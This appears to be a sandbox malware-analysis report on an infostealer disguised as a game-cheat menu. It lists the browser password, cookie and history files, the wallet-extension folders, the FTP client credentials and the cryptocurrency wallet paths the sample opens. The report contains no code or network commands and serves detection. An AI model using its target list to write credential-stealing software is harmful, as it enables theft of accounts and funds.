Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1274915003.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1274915003.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000002.2393850949.00000000015AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1274785230.0000000001599000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Kiddion's Modest Menu v.1.0.0.exe, 00000002.00000003.1274915003.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
